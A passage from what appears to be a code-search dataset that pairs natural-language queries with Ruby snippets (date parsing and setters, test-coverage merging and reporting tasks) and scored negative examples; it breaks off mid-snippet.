"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def result\n map_value(converted_value: RDF::Literal.new(\n value.value,\n datatype: PermissiveSchema.valkyrie_datetime\n ))\n end",
"def set_date(*fields)\n fields.each do |field|\n next unless self.respond_to?(field) && self[field].is_a?(String)\n self[field] = Date.strptime(self[field], \"%Y-%m-%d\")\n end\n end",
"def set_date(date)\n param = date[:year]\n if date.key? :month\n param << \":\" << date[:month]\n param << \":\" << date[:day] if date.key? :day\n end\n Jhead.call(\"-ds\" << param, @match, @pattern)\n end",
"def literal_date(v)\n v.strftime(\"DATE '%Y-%m-%d'\") \n end",
"def date=(value)\n @date = value.is_a?(String) ? DateTime.parse(value) : value\n end",
"def cast_value(value, opts = {})\n case value\n when Array\n value.map { |v| cast_value(v, opts) }\n when String\n cast_uri = RDF::URI.new(value)\n cast_uri.valid? ? cast_uri : RDF::Literal.new(value, opts)\n when Time\n # Cast DateTimes with 00:00:00 or Date stored as Times in Mongoid to xsd:date\n # FIXME: this should NOT be applied for fields that are typed as Time\n value.midnight == value ? RDF::Literal.new(value.to_date) : RDF::Literal.new(value.to_datetime)\n else\n RDF::Literal.new(value, opts)\n end\n end",
"def date=(date_value)\n @date = date_value.class <= Date ? date_value : Date.parse(date_value)\n end",
"def date(date)\n @datee = Date.new(date[:year],date[:month],date[:day])\n end",
"def set_dates( start_date, end_date = nil )\n \n # If the end date isn't specified, default to sameday\n end_date ||= start_date\n \n # Break the dates into a hash query format. \n hash = [ [ start_date, { dd: '%d', mon: '%m', yyyy: '%Y' } ] , [ end_date, { todd: '%d', tomon: '%m', toyyyy: '%Y' } ] ].inject({}) do |h, ( date, args )|\n args.each { |k,v| h[k.to_s] = date.strftime(v) } ; h\n end\n\n # Update the query with the new values\n update_query( hash )\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def date=(date)\n @date = case date\n when String\n Date.parse(date)\n else\n date\n end\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def set_Date(value)\n set_input(\"Date\", value)\n end",
"def result\n # cast it to datetime for storage, to preserve milliseconds and date\n map_value(converted_value:\n RDF::Literal.new(\n value.value.to_datetime,\n datatype: PermissiveSchema.valkyrie_time\n ))\n end",
"def literal_date(v)\n v.strftime(\"{d '%Y-%m-%d'}\")\n end",
"def typecast_value_date(value)\n case value\n when DateTime, Time\n Date.new(value.year, value.month, value.day)\n when Date\n value\n when String\n Sequel.string_to_date(value)\n when Hash\n Date.new(*[:year, :month, :day].map{|x| (value[x] || value[x.to_s]).to_i})\n else\n raise InvalidValue, \"invalid value for Date: #{value.inspect}\"\n end\n end",
"def setDate _args\n \"setDate _args;\" \n end",
"def date=(date)\n @date = parse_date(date)\n end",
"def act_as_virtual_date(*attributes)\n \n attributes.each do |attribute|\n # Setter\n define_method \"#{attribute.to_s}_str=\" do |arg|\n send(\"#{attribute.to_s}=\", to_date(arg, true))\n end \n # Getter\n define_method \"#{attribute.to_s}_str\" do\n date_format send(\"#{attribute.to_s}\")\n end\n end\n \n end",
"def make_date(_input, _starts_at, _ends_at, elements)\n value = elements.first\n\n case value\n when String\n _date_from_string(value)\n when Numeric\n Time.at(value)\n else\n raise ArgumentError,\n \"Internal parser error. Unknown date atom type #{value.class}\"\n end\n end",
"def set_date(source, target, field_name)\n value = source[field_name]\n\n unless value.blank?\n try_conversion(field_name, source) do\n target[field_name] = Date.parse(value)\n end\n end\n end",
"def type_literal_generic_date(column)\n :date\n end",
"def date_set(date_from, date_to)\n # if the first parameter is empty, default to using second date instead\n date_from = date_overwrite(date_from, date_to)\n date_to = date_overwrite(date_to, date_from)\n\n # after date potentially duplicated above, use first/last entry years\n # and first/last day of year to cover missing year, month, and day\n date_from = date_default(date_from, [DATE_FIRST[0], \"01\", \"01\"])\n date_to = date_default(date_to, [DATE_LAST[0], \"12\", \"31\"])\n\n date_from = date_format(date_from, default_year: DATE_FIRST[0].to_i)\n date_to = date_format(date_to, default_year: DATE_LAST[0].to_i)\n\n # Set parameters so form populated with calculated dates\n params[:date_from] = date_from.split(\"-\")\n params[:date_to] = date_to.split(\"-\")\n\n [date_from, date_to]\n end",
"def add_date(predicate, date, required = false, fmt = nil)\n add(predicate, to_iso8601(parse_date(date, fmt)), required)\n end",
"def _build_date_single(date, xml)\n attrs = { localType: date['date_label'] }\n create_node(xml, 'date', attrs, date['structured_date_single']['date_expression'])\n end",
"def bind_date(i, value)\n case value\n when Date, Time\n date = value\n else\n begin\n date = Date.parse(value)\n rescue => e\n raise(ArgumentError, \"Cannot parse argument value to date. #{e.message}\")\n end\n end\n\n _bind_date(i, date.year, date.month, date.day)\n end",
"def make_date(input, start, _end, elements)\n value = elements.first\n\n case value\n when String\n DateTime.parse(value)\n when Numeric\n Time.at(value)\n else\n raise ArgumentError,\n \"Internal parser error. Unknown date atom type #{value.class}\"\n end\n end",
"def date=(date)\n if date && date.is_a?(String)\n @date = date.strip\n end\n end",
"def date(input, format); end",
"def rolls_date= date\n return super(date) unless date.is_a? String\n\n date = Date.strptime(date, \"%m%d%Y\") if date =~ /\\d{8}/\n date = Date.strptime(date, \"%m/%d/%Y\") if date =~ /\\d{1,2}\\/\\d{1,2}\\/\\d{4}/\n date = Date.parse(date) if date =~ /\\d{4}-\\d{1,2}-\\d{1,2}/\n\n super date\n end",
"def set(value)\n day_part, month_part, year_part = value.split('/')\n day.set(day_part)\n month.set(month_part)\n year.set(year_part)\n end",
"def has_dates(*attrs)\n options = attrs.extract_options!\n attrs.each do |attr|\n\n attr_reader attr\n define_reader_with_options(attr,options)\n define_method(\"#{attr.to_s}=\") do |val| \n val = val.to_date unless val.nil?\n instance_variable_set(\"@#{attr}\", val )\n attributes[attr] = val\n val\n\n end\n end\n end",
"def getDates\n date_string = @xml.xpath('./dc:date/text()').first.to_s\n \n # Store the year as a string, along with the Ca., if it exists, so we can display it \n @doc[:date_display] = date_string[/^[Cc]a\\.+ *\\d+|^\\d+ |^\\w+ \\d+, \\d+ |^\\w+, \\d+/]\n \n if @doc[:date_display]\n \n stripped_year = @doc[:date_display][/\\d{4}/]\n # Store the year as an actual date, so we can do math on it \n @doc[:creation_date] = stripped_year.concat(\"-01-01T23:59:59Z\")\n # Store a range value\n creation_era = []\n if 100.years.ago > DateTime.parse(stripped_year)\n creation_era << \"More than 100 years old\"\n end\n if 50.years.ago > DateTime.parse(stripped_year)\n creation_era << \"More than 50 years old\"\n end\n if 20.years.ago > DateTime.parse(stripped_year)\n creation_era << \"More than 20 years old\"\n end\n if 10.years.ago > DateTime.parse(stripped_year)\n creation_era << \"More than 10 years old\"\n end\n if 10.years.ago <= DateTime.parse(stripped_year)\n creation_era << \"Less than 10 years old\"\n end\n if 5.years.ago <= DateTime.parse(stripped_year)\n creation_era << \"Less than 5 years old\"\n end\n if 1.year.ago <= DateTime.parse(stripped_year)\n creation_era << \"Less than 1 year old\"\n end\n @doc[:subject_era_facet] = creation_era\n end\n \n \n \n end",
"def price_date=(date_string)\n if !date_string.blank? && date_string.split(\"/\")[2].length == 2\n date = Date.strptime(date_string, \"%m/%d/%y\") rescue nil\n else\n date = Date.strptime(date_string, \"%m/%d/%Y\") rescue nil\n end\n write_attribute(:price_date, date)\n end",
"def date=(date)\n # We want to end up with a Time object with one-day resolution.\n # This is the cleanest, most-readable, faster-than-using-Date\n # way to do it.\n @date = case date\n when String then\n if DateTimeFormat =~ date\n Time.utc($1.to_i, $2.to_i, $3.to_i)\n else\n raise(Gem::InvalidSpecificationException,\n \"invalid date format in specification: #{date.inspect}\")\n end\n when Time, DateLike then\n Time.utc(date.year, date.month, date.day)\n else\n TODAY\n end\n end",
"def convert_date(hash, date_symbol_or_string)\n attribute = date_symbol_or_string.to_s\n return Date.new(hash[attribute + '(1i)'].to_i, hash[attribute + '(2i)'].to_i, hash[attribute + '(3i)'].to_i) \n end",
"def date\n @date ||= Date.parse(@attrs[:date]) rescue nil\n end",
"def get_date(property, data, uri = nil, single: true)\n get_property(property, data, uri, single: single) { |value, type| DateTime.parse(value) }\n end",
"def dates\n # only convert fields whose name is date* or *_date*\n # lots of other things might be 8 digits, and we have to exclude eg 'candidate'\n t.convert :field => /(^|_)date/ do |value|\n unless value.nil?\n Date.parse(value) rescue value\n end\n end\n end",
"def initialize(value, datatype: nil, lexical: nil, **options)\n @datatype = RDF::URI(datatype || self.class.const_get(:DATATYPE))\n @string = lexical || (value if value.is_a?(String))\n @object = case\n when value.respond_to?(:to_datetime)\n dt = value.to_datetime\n @zone = dt.zone\n # Normalize to 1972-12-31 dateTime base\n hms = dt.strftime(FORMAT)\n ::DateTime.parse(\"1972-12-31T#{hms}#{@zone}\")\n else\n md = value.to_s.match(GRAMMAR)\n _, tm, tz = Array(md)\n if tz\n @zone = tz == 'Z' ? '+00:00' : tz\n else\n @zone = nil # No timezone\n end\n # Normalize 24:00:00 to 00:00:00\n hr, mi, se = tm.split(':')\n if hr.to_i > 23\n hr = \"%.2i\" % (hr.to_i % 24)\n @string = nil\n end\n value = \"#{hr}:#{mi}:#{se}\"\n # Normalize to 1972-12-31 dateTime base\n ::DateTime.parse(\"1972-12-31T#{hr}:#{mi}:#{se}#{@zone}\")\n end rescue ::DateTime.new\n end",
"def initialize(input)\n @date = to_date(input)\n end",
"def to_date string\n \n end",
"def initialize(date)\n @representing_date = date\n end",
"def convert_date(hash, date_symbol_or_string)\n attribute = date_symbol_or_string.to_s\n return Date.new(hash[attribute + '(1i)'].to_i, hash[attribute + '(2i)'].to_i, hash[attribute + '(3i)'].to_i) \n end",
"def test_String_009_format_dateString_mmddyyyy\n \n #require 'date'\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_009_format_dateString_mmddyyyy\")\n puts2(\"#######################\")\n \n puts2(\"\\nTesting slash delimited dates expressed as STRINGS to the 1900's\")\n \n # Array of date strings to test\n aDateStrings = [\n \"1/1/01\",\n \"01/02/01\",\n \"11/1/01\",\n \"1/10/01\",\n \"12/31/2000\",\n ]\n \n # Loop through the list, converting each date string\n aDateStrings.each do | sDateString |\n puts2(\"#{sDateString} formatted as \" + sDateString.format_dateString_mmddyyyy(\"/\" ,\"19\"))\n end\n \n \n puts2(\"\\nTesting period delimited dates expressed as STRINGS to the 2300's\")\n \n # Array of date strings to test\n aDateStrings = [\n \"1.1.01\",\n \"01.02.01\",\n \"11.1.01\",\n \"1.10.01\",\n \"12.31.2000\",\n ]\n \n # Loop through the list, converting each date string\n aDateStrings.each do | sDateString |\n puts2(\"#{sDateString} formatted as \" + sDateString.format_dateString_mmddyyyy(\".\" ,\"23\"))\n end\n \n end",
"def add_date\n @bib.date.each do |d|\n case d.type\n when \"published\"\n @item.year = d.on :year\n month = d.on :month\n @item.month = month if month\n when \"accessed\" then @item.urldate = d.on.to_s\n end\n end\n end",
"def initialize(start_date, end_date)\n @start_date = start_date.class == String ? Date.parse(start_date) : start_date\n @end_date = end_date.class == String ? Date.parse(end_date) : end_date\n end",
"def parse(aeries_data, aeries_attributes_list, setters_list)\n super\n self.start_date = DateTime.parse(start_date) unless start_date.nil?\n self.end_date = DateTime.parse(end_date) unless end_date.nil?\n end",
"def created=(date)\n @date = case date\n when String\n Date.parse(date)\n else\n date\n end\n end",
"def date=(date)\n @table[:date] = date\n end",
"def to_date(value)\n # return(date($this->DateFormat,value))\n end",
"def set_dates(start_date = nil, end_date = nil)\n\n\t if (start_date.nil? and not end_date.nil?)\n\n\t\t start_date = (@utils.get_date_object(end_date)) - (MAX_HISTORICAL_DAYS * (24 * 60 * 60))\n\n\t\t @start_date = start_date.to_s\n\t\t @end_date = end_date.to_s\n\n\t elsif (not start_date.nil? and end_date.nil?)\n\n\t\t end_date =(@utils.get_date_object(start_date)) + (MAX_HISTORICAL_DAYS * (24 * 60 * 60))\n\n\t\t if end_date > Time.new.utc\n\t\t\tend_date = nil #Let API default to Now.\n\t\t end\n\n\t\t @start_date = start_date.to_s\n\t\t @end_date = end_date.to_s if not end_date.nil?\n\n\t end\n end",
"def initialize(value, datatype: nil, lexical: nil, **options)\n @datatype = RDF::URI(datatype || self.class.const_get(:DATATYPE))\n @string = lexical || (value if value.is_a?(String))\n @object = case\n when value.class == ::Date\n @zone = nil\n # Use midnight as midpoint of the interval\n ::DateTime.parse(value.strftime('%FT00:00:00'))\n when value.respond_to?(:to_datetime)\n dt = value.to_datetime\n @zone = dt.zone\n dt\n else\n md = value.to_s.match(GRAMMAR)\n _, dt, tz = Array(md)\n if tz\n @zone = tz == 'Z' ? '+00:00' : tz\n else\n @zone = nil # No timezone\n end\n # Use midnight as midpoint of the interval\n ::DateTime.parse(\"#{dt}T00:00:00#{@zone}\")\n end rescue ::DateTime.new\n end",
"def date(date, format)\n RubyMotionQuery::Format.date_formatter(format).stringFromDate(date)\n end",
"def coerce_date(value)\n case value\n when Date\n value\n when String\n Date.parse(value)\n else\n raise ArgumentError, \"expected: Date or String, got: \" +\n value.inspect\n end\n end",
"def initialize(attributes = {})\n attributes.each do |name, value|\n if name.to_s != 'start_date' && name.to_s != 'end_date'\n send(\"#{name}=\", value)\n else\n send(\"#{name}=\", convert_date(value))\n end\n end \n end",
"def dates\n end",
"def initialize(attributes = {})\n attributes.each do |name, value|\n if name.to_s != 'start_date' && name.to_s != 'end_date'\n send(\"#{name}=\", value)\n else\n send(\"#{name}=\", convert_date(value))\n end\n end\n end",
"def test_Convert_Date_002_DatesAsStrings\n\n require 'date'\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Convert_Date_002_DatesAsStrings\")\n puts2(\"#######################\")\n\n puts2(\"Testing dates expressed as STRINGS\\n\\n\")\n\n # Array of date strings to test\n aDateStrings = [\n \"12/31/2000\",\n \"1/1/01\",\n \"01/02/01\",\n \"1/3/1\",\n \"1/4/01\",\n \"1/5/01\",\n \"1/6/01\",\n \"2/1/01\",\n \"3/1/01\",\n \"4/1/01\",\n \"5/1/01\",\n \"6/1/01\",\n \"7/1/01\",\n \"8/1/01\",\n \"9/1/01\",\n \"10/1/01\",\n \"11/1/01\",\n \"12/1/01\"\n ]\n\n # Loop through the list, converting each date string\n aDateStrings.each do | sDateString |\n puts2(\"#{sDateString} converted to \" + convert_date(sDateString))\n end\n\n end",
"def parse(aeries_data, aeries_attributes_list, setters_list)\n super\n self.birthdate = DateTime.parse(birthdate) unless birthdate.nil?\n self.school_enter_date = DateTime.parse(school_enter_date) unless school_enter_date.nil?\n self.school_leave_date = DateTime.parse(school_leave_date) unless school_leave_date.nil?\n self.district_enter_date = DateTime.parse(district_enter_date) unless district_enter_date.nil?\n end",
"def test_initialize_date_with_date()\n date = @ad_manager.date(Date.new(2017, 11, 7))\n assert_equal(2017, date.year)\n assert_equal(11, date.month)\n assert_equal(7, date.day)\n end",
"def change_date(date)\n require 'date'\n date = DateTime.parse(date)\nend",
"def flexible_value_to_date(value, options = {})\n allow_string = options[:allow_string]\n string_condition = allow_string.kind_of?(Regexp) ? allow_string : String\n case value\n when Hash\n if value[:year].blank? || value[:month].blank? || value[:day].blank?\n nil\n else\n begin\n Date.new(value[:year].to_i,value[:month].to_i, value[:day].to_i)\n rescue\n nil\n end\n end\n else\n if allow_string\n case value\n when string_condition\n begin\n Date.parse(value)\n rescue\n nil\n end\n end\n else\n nil\n end\n end\n end",
"def date_claim(label, value)\n text_claim(label, value)\n end",
"def append_date(value)\n date = case value\n when Date, Time\n value\n else\n begin\n Date.parse(value)\n rescue\n raise(ArgumentError, \"Cannot parse argument `#{value}` to Date.\")\n end\n end\n\n _append_date(date.year, date.month, date.day)\n end",
"def quote_date(value)\n \"'#{value.strftime(\"%Y-%m-%d\")}'\"\n end",
"def set(day, month, year, day_attrib, month_attrib, year_attrib,\n highlight, box)\n self.setDate(day, month, yar)\n self.setDayAttribute(day_attrib)\n self.setMonthAttribute(month_attrib)\n self.setYearAttribute(year_attrib)\n self.setHighlight(highlight)\n self.setBox(box)\n end",
"def set_date_before_save\n self.date = Chronic.parse(self.human_date)\n end",
"def normalize_date( object, attribute, params )\n value = params[object][attribute]\n if value.match('\\d\\d\\d\\d-\\d\\d-\\d\\d')\n # all fine - iso format used\n return\n elsif value.size == 4\n # only year given\n params[object][attribute] = value + \"-01-01\"\n elsif value.match('\\d\\d?\\.\\d\\d?\\.\\d\\d$')\n # wrong format, probably something like 20.10.84\n date = value.split('.')\n year = (date[2].to_i < 10) ? date[2].to_i + 2000 : date[2].to_i + 1900\n date = Date.new( year, date[1].to_i, date[0].to_i ) \n params[object][attribute] = date.to_s\n elsif value.match('\\d?\\d\\.\\d?\\d\\.\\d\\d\\d\\d')\n # wrong format\n date = value.split('.')\n params[object][attribute] = date[2] + \"-\" + date[1] + \"-\" + date[0]\n else\n date = ParseDate.parsedate( value, true )\n params[object][attribute] = date[0].to_s + \"-\" + date[1].to_s + \"-\" + date[2].to_s\n end\n end",
"def date(key, options = {})\n before_all(key, options)\n begin; store(key, ->(item){Date.parse(item.to_s)}, options); rescue; raise_type_error(key, \"Date\"); end\n end",
"def dates\n object.send(date_property_for_english_language_indexing)\n end",
"def register_dates(*names)\n names.each do |name|\n label = \"#{name.to_s}_after\"\n dates[label] = {}\n dates[label][\"label\"] = label\n dates[label][\"value\"] = DEFAULT_DATE_AFTER\n dates[label][\"field\"] = name.to_s\n dates[label][\"operator\"] = \">=\"\n label = \"#{name}_before\"\n dates[label] = {}\n dates[label][\"label\"] = label\n dates[label][\"value\"] = DEFAULT_DATE_BEFORE\n dates[label][\"field\"] = name.to_s\n dates[label][\"operator\"] = \"<=\"\n end\n end",
"def test_String_008_format_dateString_mdyy\n \n # require 'date'\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_008_format_dateString_mdyy\")\n puts2(\"#######################\")\n \n puts2(\"\\nTesting slash delimited dates expressed as STRINGS\")\n \n # Array of date strings to test\n aDateStrings = [\n \"12/31/2000\",\n \"1/1/01\",\n \"01/02/2002\",\n \"01/3/2003\",\n \"11/5/1900\",\n \"10/06/1901\"\n ]\n \n # Loop through the list, converting each date string\n aDateStrings.each do | sDateString |\n puts2(\"#{sDateString} formatted as \" + sDateString.format_dateString_mdyy(\"/\"))\n end\n \n puts2(\"\\nTesting period delimited dates expressed as STRINGS\")\n # Array of date strings to test\n aDateStrings = [\n \"12.31.2000\",\n \"1.1.01\",\n \"01.02.2002\",\n \"01.3.2003\",\n \"11.5.1900\",\n \"10.06.1901\"\n ]\n \n # Loop through the list, converting each date string\n aDateStrings.each do | sDateString |\n puts2(\"#{sDateString} formatted as \" + sDateString.format_dateString_mdyy(\".\"))\n end\n \n end",
"def date_time=(dt)\n @value = dt.strftime('%Y%m%d')\n end",
"def bound_date_field(method, attrs = {})\n update_bound_controls(method, attrs, 'date')\n attrs[:value] = @obj.send(method)\n attrs[:name] ||= control_name(method)\n unbound_date_field(attrs)\n end",
"def rdf_values(subject, property, value)\n ::JSON::LD::API.toRdf({'@id' => subject.to_s, property => value}, expandContext: context) do |statement|\n statement.object = RDF::Literal(statement.object.value) if statement.object.literal? && statement.object.language == :und\n yield statement\n end\n end",
"def value=(val)\n case val\n when nil\n @date_time_value = nil\n when String\n @date_time_value = ::DateTime.parse(::DateTime.parse(val).strftime(\"%Y%m%d\"))\n when ::Time, ::Date, ::DateTime\n @date_time_value = ::DateTime.parse(val.strftime(\"%Y%m%d\"))\n end\n end",
"def date_field_tag(name, value = T.unsafe(nil), options = T.unsafe(nil)); end",
"def ruby_value\n ::Date.parse(@date_time_value.strftime(\"%Y%m%d\"))\n end",
"def typecast_value_date(value)\n if convert_infinite_timestamps\n case value\n when *INFINITE_DATETIME_VALUES\n value\n else\n super\n end\n else\n super\n end\n end",
"def set_date_range(begin_date, end_date)\n @begin_date = begin_date.to_date\n @end_date = end_date.to_date\n end",
"def dates\n \t\"(#{years})\".sub(\"()\",\"\")\n end",
"def set_formatted_dates\n @clienttransaction.update_attribute(:duedate, formatted_date(clienttransaction_params[:duedate])) if clienttransaction_params[:duedate].present?\n @clienttransaction.update_attribute(:transaction_date, formatted_date(clienttransaction_params[:transaction_date])) if clienttransaction_params[:transaction_date].present?\n end",
"def test_date_value\n row = SqlRow.new(SqlRowType.new('table', :id => :integer, :text => :date))\n row[:text] = Date.parse('2015-01-01')\n assert_equal \"'2015-01-01'\", row.sql_for(:text, :postgresql)\n end",
"def dates\n return @dates ||=\n Mhc::PropertyValue::List.new(Mhc::PropertyValue::Range.new(Mhc::PropertyValue::Date.new))\n end",
"def date_value\n @value.map do |date|\n date.split(\"/\").map do |d|\n if year_only(date.split(\"/\"))\n Date.parse(d).strftime(\"%Y\")\n else\n Date.parse(d).strftime(\"%m/%d/%Y\")\n end\n end.join(\"-\")\n end\n rescue => e\n Rails.logger.warn e.message\n @value\n end",
"def expiration_date=(date)\n if date.is_a?(Date)\n @expiration_date = date\n else\n # do we have a month/year in here? will accept 01/12 or 1/1 etc\n # must have 1 or 2 digit then forward slash then 1 or 2 digits\n if date =~ /\\A\\d{2}\\/\\d{1,2}\\z/\n # some fun building a date out of that\n date_split = date.split('/')\n month, year = date_split[0].to_i, date_split[1].to_i\n if month.between?(1, 12)\n year > 30 ? year += 1900 : year += 2000\n # now make sure we have the last day of the month\n @expiration_date = Date.new(year, month, -1)\n end\n # create a date from month year\n else\n if date =~ /\\A\\d\\/\\d{1,2}\\z/\n # tut tut tut\n @expiration_date = date\n else\n # try and parse the date\n begin\n @expiration_date = Date.parse(date)\n rescue ArgumentError\n # no date for you!\n @expiration_date = date\n end\n end\n end\n end\n end"
] |
[
"0.61408395",
"0.6054538",
"0.6045261",
"0.6020434",
"0.5935131",
"0.5876302",
"0.5873125",
"0.5766013",
"0.57497317",
"0.5747136",
"0.5747136",
"0.5747136",
"0.5747136",
"0.5747136",
"0.5747136",
"0.5747136",
"0.5725321",
"0.57109386",
"0.57109386",
"0.57109386",
"0.57109386",
"0.57109386",
"0.57109386",
"0.57109386",
"0.57109386",
"0.57109386",
"0.5661322",
"0.5649663",
"0.5608508",
"0.56042933",
"0.55196774",
"0.5512613",
"0.5511532",
"0.55093634",
"0.5476965",
"0.5468676",
"0.54641014",
"0.5453167",
"0.542481",
"0.5377887",
"0.53646994",
"0.533179",
"0.5317487",
"0.5311002",
"0.5307662",
"0.5303253",
"0.5297196",
"0.52800363",
"0.5252536",
"0.5245005",
"0.521995",
"0.5215748",
"0.5203445",
"0.51987576",
"0.5198525",
"0.51872855",
"0.51654935",
"0.51600873",
"0.5156724",
"0.51544863",
"0.5154329",
"0.51427805",
"0.5140587",
"0.5135218",
"0.5131279",
"0.5127317",
"0.51115745",
"0.51012987",
"0.5097776",
"0.50953424",
"0.5064941",
"0.5063503",
"0.506282",
"0.50623417",
"0.50430954",
"0.5040977",
"0.50348115",
"0.50287825",
"0.50269234",
"0.50237995",
"0.5010869",
"0.50078905",
"0.50078595",
"0.50032467",
"0.4993691",
"0.49914983",
"0.49857888",
"0.49811786",
"0.49762496",
"0.49720773",
"0.49711472",
"0.49698517",
"0.49688724",
"0.49645224",
"0.49610204",
"0.49598387",
"0.49541682",
"0.49519333",
"0.49506176",
"0.49467543"
] |
0.7216855
|
0
|
override to add prefork captured coverage when someone asks for the results
|
def result
original = super
return original unless @capture_coverage
CoverageCapture.merge_coverage(original, @capture_coverage)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def coverage; end",
"def coverage; end",
"def start_coverage\n return unless sporkless? # Something funny about numbers right now under spork\n require 'simplecov'\nend",
"def perform_coverage(options)\n unless @test_suite.nil?\n if options.illuminator.task.coverage #TODO: only if there are no crashes?\n if Illuminator::HostUtils.which(\"gcovr\").nil?\n puts \"Skipping requested coverage generation because gcovr does not appear to be in the PATH\".yellow\n else\n generate_coverage Dir.pwd\n end\n end\n end\n end",
"def coverage_path; end",
"def coverage(project_name)\n section \"coverage\", \"rm -rf hpc_report\", :condition => $tests_compiled_coverage, :noexception => true do\n hpc_excluded_modules = ((Dir.glob(\"test/**/*Spec.hs\") # skip all test-spec files\n .map { |k| k.gsub(/^test\\//, \"\") # ...converting path to namespace for HPC\n .gsub(/\\.hs$/,\"\")\n .gsub(\"/\",\".\")\n }\n ) << \"Main\" # and skip \"Main\", the entrypoint for tests\n ).map{|k| \"--exclude=#{k}\" }.join(\" \")\n command_interactive \"hpc report #{project_name}.tix #{hpc_excluded_modules}\"\n command_interactive \"hpc markup #{project_name}.tix --destdir=hpc_report #{hpc_excluded_modules}\"\n end\nend",
"def start_coverage_tracking\n if ENV['CI']\n require 'codeclimate-test-reporter'\n CodeClimate::TestReporter.start\n else\n require 'simplecov'\n SimpleCov.start\n end\nend",
"def option_coverage\n option_parser.on('-c', '--covered', 'include covered units') do\n if options[:coverage] == :uncovered\n options[:coverage] = :all\n else \n options[:coverage] = :covered\n end\n end\n option_parser.on('-u', '--uncovered', 'include only uncovered units') do\n if options[:coverage] == :covered\n options[:coverage] = :all\n else\n options[:coverage] = :uncovered\n end\n end\n option_parser.on('-a', '--all', 'include all namespaces and units') do\n options[:coverage] = :all\n end\n end",
"def process_coverage \n\tif( File.exist?( \"#{$jtd_outputName}/#{COVERAGE_FILE_NAME }\") )\n\t\tputs \"[INFO] Processing Coverage File\"\n\t\tlcov = LCOVFile.new( \"#{$jtd_outputName}/#{COVERAGE_FILE_NAME }\" )\n\t\tlcov.outputToLCOV( \"#{$jtd_outputName}/#{COVERAGE_FILE_NAME }\" )\n\tend\nend",
"def run name, &block\n with_reloading do\n begin\n Coverage.start\n block.call\n ensure\n add_result name, Coverage.result\n end\n end\n end",
"def run_coverage( name, options)\r\n dep_dirs = options[:project_libs].collect{ |lib| $projects[lib][:dir] + \"/#{$hw_os}/#{$RELEASE_TYPE}\" }\r\n lcov_dir = \"#{$projects[name][:dir]}/#{$hw_os}/#{$RELEASE_TYPE}\"\r\n lcov_out = \"#{lcov_dir}/lcov.out\"\r\n if ENV['LCOV_HTML']\r\n lcov_html = ENV['LCOV_HTML'] + \"/#{lcov_dir}\"\r\n sh \"mkdir -p #{lcov_html}\"\r\n else\r\n lcov_html = \"#{lcov_dir}/html\"\r\n end\r\n\r\n puts \"lcov -d #{$projects[name][:dir]}/#{$hw_os}/#{$RELEASE_TYPE} #{dep_dirs.collect{|x| ' -d '+x}} -b #{Dir.pwd} -c -o #{lcov_out}\"\r\n sh \"lcov -d #{$projects[name][:dir]}/#{$hw_os}/#{$RELEASE_TYPE} #{dep_dirs.collect{|x| ' -d '+x}} -b #{Dir.pwd} -c -o #{lcov_out}\"\r\n\r\n Dir.mkdir(lcov_html) unless File.directory? lcov_html\r\n puts \"genhtml -o #{lcov_html} #{lcov_out}\"\r\n sh \"genhtml -o #{lcov_html} #{lcov_out}\"\r\n\r\n puts \"\\nHTML coverage results are at:\\n#{lcov_html}/index.html\"\r\n\r\n # Add a symbolic link for gcov. Bitten will pass \"coverage\" as the prefix.\r\n dir = $projects[name][:dir]\r\n link = \"#{$RELEASE_TYPE}-#{dir}\"\r\n sh \"ln -s #{dir}/#{$hw_os}/#{$RELEASE_TYPE} #{link}\" unless File.exists? link\r\n # Add symbolic links for dependencies (for gcov again).\r\n dep_dirs = options[:project_libs].each do |lib|\r\n dir = $projects[lib][:dir]\r\n link = \"#{$RELEASE_TYPE}-#{dir}\"\r\n sh \"ln -s #{dir}/#{$hw_os}/#{$RELEASE_TYPE} #{link}\" unless File.exists? link\r\n end\r\n\r\nend",
"def show_coverage\n unless @project.nil?\n line = \"## #{@project.scheme} code coverage\\n\"\n line += total_coverage_markdown\n line += modified_files_coverage_table\n line += '> Powered by [Slather](https://github.com/SlatherOrg/slather)'\n markdown line\n end\n end",
"def run_coverage(files)\n rm_f \"coverage\"\n rm_f \"coverage.data\"\n\n # turn the files we want to run into a string\n if files.empty?\n puts \"No files were specified for testing\"\n return\n end\n\n files = files.join(\" \")\n\n if RUBY_PLATFORM =~ /darwin/\n exclude = '--exclude \"gems/*\" --exclude \"Library/Frameworks/*\"'\n exclude << \" --exclude osx\\/objc,gems\\/,spec\\/,features\\/\"\n elsif RUBY_PLATFORM =~ /java/\n exclude = '--exclude \"rubygems/*,jruby/*,parser*,gemspec*,_DELEGATION*,eval*,recognize_optimized*,yaml,yaml/*,fcntl\"'\n else\n exclude = '--exclude \"rubygems/*\"'\n end\n\n # rake test:units:rcov SHOW_ONLY=models,controllers,lib,helpers\n # rake test:units:rcov SHOW_ONLY=m,c,l,h\n if ENV['SHOW_ONLY']\n params = String.new\n show_only = ENV['SHOW_ONLY'].to_s.split(',').map{|x|x.strip}\n if show_only.any?\n reg_exp = []\n for show_type in show_only\n reg_exp << case show_type\n when 'm', 'models' then 'app\\/models'\n when 'c', 'controllers' then 'app\\/controllers'\n when 'h', 'helpers' then 'app\\/helpers'\n when 'l', 'lib' then 'lib'\n else\n show_type\n end\n end\n reg_exp.map!{ |m| \"(#{m})\" }\n params << \" --exclude \\\"^(?!#{reg_exp.join('|')})\\\"\"\n end\n exclude << params\n 